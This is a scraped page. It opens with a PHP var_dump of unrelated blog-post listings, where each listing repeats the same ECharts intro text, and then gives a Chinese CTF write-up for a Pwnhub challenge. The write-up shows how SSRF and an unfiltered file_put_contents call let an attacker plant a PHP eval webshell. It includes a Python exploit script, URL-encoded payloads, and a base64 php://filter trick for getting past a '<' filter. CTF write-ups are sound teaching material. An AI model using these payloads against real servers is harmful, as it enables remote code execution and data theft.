array(2) { ["docs"]=> array(10) { [0]=> array(10) { ["id"]=> string(3) "428" ["text"]=> string(77) "Visual Studio 2017 单独启动MSDN帮助(Microsoft Help Viewer)的方法" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(8) "DonetRen" ["tagsname"]=> string(55) "Visual Studio 2017|MSDN帮助|C#程序|.NET|Help Viewer" ["tagsid"]=> string(23) "[401,402,403,"300",404]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511400964" ["_id"]=> string(3) "428" } [1]=> array(10) { ["id"]=> string(3) "427" ["text"]=> string(42) "npm -v;报错 cannot find module "wrapp"" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(4) "zzty" ["tagsname"]=> string(50) "node.js|npm|cannot find module "wrapp“|node" ["tagsid"]=> string(19) "[398,"239",399,400]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511400760" ["_id"]=> string(3) "427" } [2]=> array(10) { ["id"]=> string(3) "426" ["text"]=> string(54) "说说css中pt、px、em、rem都扮演了什么角色" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(12) "zhengqiaoyin" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511400640" ["_id"]=> string(3) "426" } [3]=> array(10) { ["id"]=> string(3) "425" ["text"]=> string(83) "深入学习JS执行--创建执行上下文(变量对象,作用域链,this)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "Ry-yuan" ["tagsname"]=> string(33) "Javascript|Javascript执行过程" ["tagsid"]=> string(13) "["169","191"]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511399901" ["_id"]=> string(3) "425" } [4]=> array(10) { ["id"]=> string(3) "424" ["text"]=> string(30) "C# 排序技术研究与对比" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(9) "vveiliang" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(8) ".Net Dev" ["catesid"]=> string(5) "[199]" ["createtime"]=> string(10) "1511399150" ["_id"]=> string(3) "424" } [5]=> array(10) { ["id"]=> string(3) "423" ["text"]=> string(72) "【算法】小白的算法笔记:快速排序算法的编码和优化" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(9) "penghuwan" ["tagsname"]=> string(6) "算法" ["tagsid"]=> string(7) "["344"]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511398109" ["_id"]=> string(3) "423" } [6]=> array(10) { ["id"]=> string(3) "422" ["text"]=> string(64) "JavaScript数据可视化编程学习(二)Flotr2,雷达图" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "chengxs" ["tagsname"]=> string(28) "数据可视化|前端学习" ["tagsid"]=> string(9) "[396,397]" ["catesname"]=> string(18) "前端基本知识" ["catesid"]=> string(5) "[198]" ["createtime"]=> string(10) "1511397800" ["_id"]=> string(3) "422" } [7]=> array(10) { ["id"]=> string(3) "421" ["text"]=> string(36) "C#表达式目录树(Expression)" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(4) "wwym" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(4) ".NET" ["catesid"]=> string(7) "["119"]" ["createtime"]=> string(10) "1511397474" ["_id"]=> string(3) "421" } [8]=> array(10) { ["id"]=> string(3) "420" ["text"]=> string(47) "数据结构 队列_队列实例:事件处理" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(7) "idreamo" ["tagsname"]=> string(40) "C语言|数据结构|队列|事件处理" ["tagsid"]=> string(23) "["246","247","248",395]" ["catesname"]=> string(12) "数据结构" ["catesid"]=> string(7) "["133"]" ["createtime"]=> string(10) "1511397279" ["_id"]=> string(3) "420" } [9]=> array(10) { ["id"]=> string(3) "419" ["text"]=> string(47) "久等了,博客园官方Android客户端发布" ["intro"]=> string(288) "目录 ECharts 异步加载 ECharts 数据可视化在过去几年中取得了巨大进展。开发人员对可视化产品的期望不再是简单的图表创建工具,而是在交互、性能、数据处理等方面有更高的要求。 chart.setOption({ color: [ " ["username"]=> string(3) "cmt" ["tagsname"]=> string(0) "" ["tagsid"]=> string(2) "[]" ["catesname"]=> string(0) "" ["catesid"]=> string(2) "[]" ["createtime"]=> string(10) "1511396549" ["_id"]=> string(3) "419" } } ["count"]=> int(200) } 222 Pwnhub-胖哈勃外传-第一集-Writeup - 爱码网

看源代码里面有这样的一个链接。

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg

有点像第七届极客出的php is fun。

极客php is fun的源码:

if (isset($_GET) && !empty($_GET)) {
    $url = $_GET['file'];
    $path = "upload/" . $_GET['path'];
} else {
    show_source(__FILE__);
    exit();
}
if (strpos($path, '..') > -1) {
    die('SYCwaf!');
}
if (strpos($url, 'http://127.0.0.1/') === 0) {
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
} else {
    echo "Hello.Geeker";
}

但是此题image.php过滤了<,这个就需要想办法怎么样去绕过了,另外生成的文件也会很快被删掉。

本题核心是:

file_put_contents($path, file_get_contents($url));

只能访问127.0.0.1的话,其实也可以利用本地的80的网页内容,只要有一句话的内容就好了,然后就可以写入到文件。
在这有一个网页内容的输入点:

http://54.223.231.220/?date/%3C?php%20eval($_GET[1]);?%3E/

所以可以把这个网页内容写入到一个php文件,即可以getshell

exp.py

import requests

u1 = "http://54.223.231.220/image.php?path=lemon.php&file=http%3A%2F%2F127.0.0.1%3A8888%2F%3Fdate%2F%3C%3Fphp%2520eval(%24_GET%5B1%5D)%3B%3F%3E%2F"
r = requests.get(u1)

u2 = "http://54.223.231.220/lemon.php?1=var_dump(glob('*'));"
r1 = requests.get(u2)
print r1.content

u2 = "http://54.223.231.220/lemon.php?1=echo%20file_get_contents('flag.php');"
r1 = requests.get(u2)
print r1.content

flag:

pwnhub{flag:kukukuxia今天胖哈勃跑偏了%&^%&^}

另外如果没有那个输入页面到话,其实image.php本身也是可以有输入点可控的。虽然过滤了<

echo "console.log($path update successed!)";

Pwnhub-胖哈勃外传-第一集-Writeup

所以完全可以把这个页面的内容作为写入文件的内容,感觉会有点绕,而且要注意url编码问题。

http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3D%3Fphp%2520eval(%24_POST%5B1%5D)%3B%3F%3E&path=1.php

Pwnhub-胖哈勃外传-第一集-Writeup

现在内容可以写入一句话了,但是最大的问题就是<不能出现。

在解决死亡exit、die的时候,会用上php协议的过滤器。在这也是可以用上的。

php://filter/write=convert.base64-decode=lemon.php

对写入的内容进行base64解码再写入文件。

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/image.php&path=PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h

构造出利用:

http://54.223.231.220/image.php?file=http%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%3Ffile%3Dhttp%3A%2F%2F127.0.0.1%3A8888%2Fimage.php%26path%3DxxPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h&path=php://filter/write=convert.base64-decode/resource=2.php

Pwnhub-胖哈勃外传-第一集-Writeup

其中要注意的是bae64解码的时候字符长度问题,以免解码导致一句话失效。

相关文章: